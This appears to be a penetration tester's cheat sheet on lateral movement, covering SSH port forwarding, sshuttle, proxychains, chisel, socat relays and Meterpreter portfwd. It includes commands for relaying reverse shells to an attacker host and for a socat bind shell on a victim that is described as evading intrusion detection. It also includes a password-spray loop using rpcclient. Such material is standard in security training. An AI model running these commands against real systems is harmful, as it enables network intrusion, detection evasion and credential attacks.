Lateral Movement


SSH Port Forwarding


Forward Connections

When the operator employs local port forwarding, he creates a proxy on his device, listening on a certain port, which will route traffic through an SSH tunnel to a remote host he has SSH access to. From there the host will send traffic to the remote host the operator specified while setting up the tunnel. It’s called “local” because it creates a local proxy (hosted on the operator’s machine) to forward traffic to a remote resource. ssh -L localPort:targetIp:targetPort user@target -fN

  • -L being the option to instruct SSH to instantiate a local port forwarding tunnel

  • localPort being the port on the operator’s device on which the proxy will be created

  • targetIp being the remote host the operator wants to reach through the tunnel

  • targetPort being the port on the remote host the operator wants to reach through the tunnel

  • -f: Background process

  • -N: Don't run any commands. Only setup the connection

Let’s have a look at a typical scenario. In the following image our operator is denied access to a webserver located at the IP address on port 80. The firewall however allows SSH connections and the operator manages to connect to a server located at as root. From there he sees the server he has logged on can “see” the webserver.

Let’s say now I have to access a resource that’s listening locally on the SSH gateway. It happened on a couple of occasions that a machine I compromised had a webserver listening locally. That meant I couldn’t access it through the browser by trying to contact the machine IP directly. I had SSH access but no means of accessing the webserver remotely. Through local port forwarding I was able to reach the local webserver by putting the IP address of the SSH server as the target: ssh -L 1337: root@ This kind of forwarding is also very useful in those situation where you manage to compromise a machine which has access to a subnet where there are Windows hosts that can be accessed through Remote Desktop. Instead of forwarding port 1337 to port 80 on the target server you could forward local port 3389 to port 3389 on the target server. By doing that you can then try to Remote Desktop to yourself and the SSH tunnel would route that to the remote Windows host.

Reverse connections

Remote port forwarding is kind of the opposite of local port forwarding. While local port forwarding saw the operator initiate a connection through the tunnel, remote port forwarding is more similar to the NAT port forwarding you configure on your home router. Employing remote port forwarding the operator can instruct an SSH server to route traffic it receives on a certain port through the SSH tunnel, to another host on the network of the operator machine. It’s most common use, when it comes to offensive security, is routing reverse shell traffic to and from a listener. Let’s see an example:

Here our operator managed to get SSH access to the same host we saw in the previous example, but this time he needs the server to route a reverse shell he executed on the target back to himself. The syntax to make this happen is the following:

ssh -R sshGatewayIp:sshGatewayPort:localIp:localPort user@sshGateway

#On Gateway to allow port forward. Otherwise SSH server is going to listen for connection on
#Modify /etc/ssh/sshd_config. Restart SSH server
Change GatewayPorts yes
GatewayPorts clientspecified


  • -R being the option to instruct SSH to instantiate a remote port forwarding tunnel

  • sshGatewayIp being the IP address of the SSH server that will route the traffic

  • sshGatewayPort being the port of the SSH server that will receive the traffic that needs to be routed

  • localIp being IP address to which the traffic will be routed. Most of the times it’s going to be the operator’s one

  • localPort being the port to which the traffic will be routed. Most of the times it’s going to be the operator’s listener’s port

  • user being the user he has the credential of

  • sshGateway being the device the operator has SSH access to

To be more specific, in this scenario a reverse shell connection is initiated by the target machine, pointing to the SSH gateway on port 1234. The SSH gateway has no listener active to deal with the reverse shell, but through remote port forwarding has been instructed to route traffic entering port 1234 to the operator’s machine, which has a listener on port 1337. In this way the SSH gateway routes traffic to the operator and a successful connection is established between the target and the operator’s device, using the SSH gateway as pivot.

Reference: TryHackMe

Reverse connections are very possible with the SSH client (and indeed may be preferable if you have a shell on the compromised server, but not SSH access). They are, however, riskier as you inherently must access your attacking machine from the target -- be it by using credentials, or preferably a key based system. Before we can make a reverse connection safely, there are a few steps we need to take:


Copy the contents of the public key (the file ending with .pub), then edit the ~/.ssh/authorized_keys file on your own attacking machine. You may need to create the ~/.ssh directory and authorized_keys file first. To make sure that the key can only be used for port forwarding, disallowing the ability to gain a shell on your attacking machine. On a new line, type the following line, then paste in the public key:

command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty

#Start SSH Server
sudo systemctl start ssh

Transfer the private key to the target box. With the key transferred, we can then connect back with a reverse port forward using the following command: ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

To put that into the context of our fictitious IPs: and, if we have a shell on and want to give our attacking box ( access to the webserver on, we could use this command on the machine: ssh -R 8000: kali@ -i KEYFILE -fN

This would open up a port forward to our Kali box, allowing us to access the webserver, in exactly the same way as with the forward connection we made before!

In newer versions of the SSH client, it is also possible to create a reverse proxy (the equivalent of the -D switch used in local connections). This may not work in older clients, but this command can be used to create a reverse proxy in clients which do support it: ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN

This, again, will open up a proxy allowing us to redirect all of our traffic through localhost port 1337, into the target network.

Dynamic Port Forwarding

  • SSH Portforward + Proxychains

Proxies are made using the -D switch, for example: -D 1337. This will open up port 1337 on your attacking box as a proxy to send data through into the protected network. This is useful when combined with a tool such as proxychains.

ssh -D 1337 user@ -fN


It’s a transparent proxy server that works like “a vpn”, and doesn’t require with admin rights on the target server, only thing needed is that the bastion server you will use, needs to have installed python and sometimes some SSH Forwarding.

  • Requires SSH + Python on the target.

  • Something worth to mention nmap doesn’t work through sshuttle.

One hop

Let’s say we are in an intranet and we have compromised a firewall that gives us access to the management net (fw.example.mgmt — ips and as the management ip), by using sshuttle we can create a “vpn” to talk directly to those servers, for that, we use:

sudo sshuttle -r user@ <target-subnet-> -x <Exclude Compromised server> --ssh-cmd "ssh -i KEYFILE" &


Now imagine that after we broke up into the management net after some some enumeration, we ended to compromise a machine that has also access to a production environment (foreman.example.mgmt — ips and, we can take advantage of sshuttle + ProxyCommand of ssh to create a “vpn” through this multiple hops, so…putting it down, this will be kind of as follow (the diagram is extremely simplified and just for the sake of illustrate this visually, so it doesn’t intend to provide a 100% precise network diagram):

To have that working, is needed to put the next conf in your ssh conf file (normally ~/.ssh/config. It’s based on the example above, but is easy to extrapolate to different scenarios):

Host fw.example.mgmt
  User userOnFw
  IdentityFile ~/.ssh/priv_key_fw
Host foreman.example.mgmt
  User root
  ProxyJump fw.example.mgmt
  IdentityFile ~/.ssh/priv_key_internal

And now to setup the “multiple hop vpn”, run:

sshuttle -r foreman.example.mgmt -v &

#Later on is possible to connect from the local machine:
ssh foo@


  • Creates a relay through local host P:445->Meterpreter session-> P:445

  • When running exploits: Set RHOST as

# Port forward using meterpreter
portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r


  • You can only use TCP scans -- so no UDP or SYN scans.

  • ICMP Echo packets (Ping requests) will also not work through the proxy, so use the -Pn switch to prevent Nmap from trying it. It will be extremely slow.

  • Try to only use Nmap through a proxy when using the NSE (i.e. use a static binary to see where the open ports/hosts are before proxying a local copy of nmap to use the scripts library).

Config file locations (in search order) are:

  1. The current directory (i.e. ./proxychains.conf)

  2. ~/.proxychains/proxychains.conf

  3. /etc/proxychains.conf


#Don't proxy DNS. If performing an Nmap scan through proxychains, 
#this option can cause the scan to hang and ultimately crash. 
socks4 8081


Chisel is an awesome tool which can be used to quickly and easily set up a tunneled proxy or port forward through a compromised system, regardless of whether you have SSH access or not.

  • Can be easily compiled for any system (with static release binaries for Linux and Windows provided).

  • Same functionality as the standard SSH proxying / port forwarding we covered earlier; however, it doesn't require SSH access on the compromised target.

  • Must have an appropriate copy of the chisel binary on both the attacking machine and the compromised server.

  • Use with ProxyChains: As Chisel uses a SOCKS5 proxy, we will also need to change the start of the line from socks4 to socks5:

nano /etc/proxychains.conf

# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 1080
  • Remember to change FoxyProxy settings to SOCKS5.

Reverse SOCKS Proxy: Let's start by looking at setting up a reverse SOCKS proxy with chisel. This connects back from a compromised server to a listener waiting on our attacking machine.

#On Attacker box. This sets up a listener on your chosen LISTEN_PORT.
./chisel server -p <LISTEN_PORT> --reverse &

#On compromised host
./chisel client ATTACKING_IP:LISTEN_PORT R:socks &
  • This command connects back to the waiting listener on our attacking box, completing the proxy.

  • & - background the processes.

Notice that, despite connecting back to port <LIST-PORT> successfully, the actual proxy has been opened on port). As such, we will be using port 1080 when sending data through the proxy. Not the chisel <LISTEN_PORT>

Note the use of R:socks in this command. "R" is prefixed to remotes (arguments that determine what is being forwarded or proxied -- in this case setting up a proxy) when connecting to a chisel server that has been started in reverse mode. It essentially tells the chisel client that the server anticipates the proxy or port forward to be made at the client side (e.g. starting a proxy on the compromised target running the client, rather than on the attacking machine running the server). Once again, reading the chisel help pages for more information is recommended.

Forward SOCKS Proxy: Forward proxies are rarer than reverse proxies for the same reason as reverse shells are more common than bind shells; generally speaking, egress firewalls (handling outbound traffic) are less stringent than ingress firewalls (which handle inbound connections). That said, it's still well worth learning how to set up a forward proxy with chisel.

#On compromised host we would use:
./chisel server -p LISTEN_PORT --socks5

#On attacking box we would then use:
./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

PROXY_PORT is the port that will be opened for the proxy.

For example, ./chisel client 1337:socks would connect to a chisel server running on port 8080 of A SOCKS proxy would be opened on port 1337 of our attacking machine.

Note: The proxy opens on port 1080 rather than the specified listening port (1337). If you use proxychains with a forward proxy then the port should be set to whichever port you opened (1337 in the above example).

Remote Port Forward: A remote port forward is when we connect back from a compromised target to create the forward.

For a remote port forward, on our attacking machine we use the exact same command as before: ./chisel server -p LISTEN_PORT --reverse &

Once again this sets up a chisel listener for the compromised host to connect back to. The command to connect back is slightly different this time, however: ./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT &

You may recognise this as being very similar to the SSH reverse port forward method, where we specify the local port to open, the target IP, and the target port, separated by colons. Note the distinction between the LISTEN_PORT and the LOCAL_PORT. Here the LISTEN_PORT is the port that we started the chisel server on, and the LOCAL_PORT is the port we wish to open on our own attacking machine to link with the desired target port.

To use an old example, let's assume that our own IP is, the compromised server's IP is, and our target is port 22 on The syntax for forwarding back to port 2222 on our attacking machine would be as follows: ./chisel client R:2222: &

Connecting back to our attacking machine, functioning as a chisel server started with: ./chisel server -p 1337 --reverse &

This would allow us to access (via SSH) by navigating to

Local Port Forward: As with SSH, a local port forward is where we connect from our own attacking machine to a chisel server listening on a compromised target.

On the compromised target we set up a chisel server: ./chisel server -p LISTEN_PORT

We now connect to this from our attacking machine like so: ./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT

For example, to connect to (the compromised host running a chisel server), forwarding our local port 2222 to (our intended target), we could use: ./chisel client 2222:

As with the backgrounded socat processes, when we want to destroy our chisel connections we can use jobs to see a list of backgrounded jobs, then kill %NUMBER to destroy each of the chisel processes.

Note: When using Chisel on Windows, it's important to remember to upload it with a file extension of .exe (e.g. chisel.exe)!


  • Download: Linux and Windows.

  • socat can be used to create encrypted connections. [TryHackMe Room]

  • Whilst the following techniques could not be used to set up a full proxy into a target network, it is quite possible to use them to successfully forward ports from both Linux and Windows compromised targets.

  • Ideal for reverse shell relaying

For example, if you are attempting to get a shell on a target that does not have a direct connection back to your attacking computer, you could use socat to set up a relay on the currently compromised machine to your attacking host. This listens for the reverse shell from the target and then forwards it immediately back to the attacking box.

#To open up a port on compromised host's firewalld config:
firewall-cmd --zone=public --add-port <PORT>/tcp
firewall-cmd --list-all-zones

#Set up listener on attacker host. 
nc -nlvp 443

./socat tcp-l:<Relay port> tcp:ATTACKING_IP:443 &

#Connect to remote IP
socat - TCP4:<remote server's ip address>:80
socat  TCP4: EXEC:/bin/bash
#Listen on IP
socat -d -d TCP4-LISTEN:443 STDOUT

Encrypted Bind Shell

To add encryption to a bind shell, we will rely on Secure Socket Layer85 certificates. This level of encryption will assist in evading intrusion detection systems (IDS)86 and will help hide the sensitive data we are transceiving.

#Create self-signed cert:
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt

#Convert to .pem
cat bind_shell.key bind_shell.crt > bind_shell.pem
  • req: initiate a new certificate signing request

  • newkey: generate a new private key

  • rsa:2048: use RSA encryption with a 2,048-bit key length.

  • nodes: store the private key without passphrase protection

  • keyout: save the key to a file

  • x509: output a self-signed certificate instead of a certificate request

  • days: set validity period in days

  • out: save the certificate to a file

#On Victim's Host
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash 

#Attacker's host
socat - OPENSSL:<Remote IP>:443,verify=0 

Password Spray

#Enumerate usernames using rpcclient. Create user wordlist
echo "<domain>\\\\<Name> >> /tmp/users.txt

#Password Spray Script
cat users.txt | while read line; do echo $line && rpcclient -U "$line%P@ssw0rd!" -c "getusername;quit" <Target IP>; done

Last updated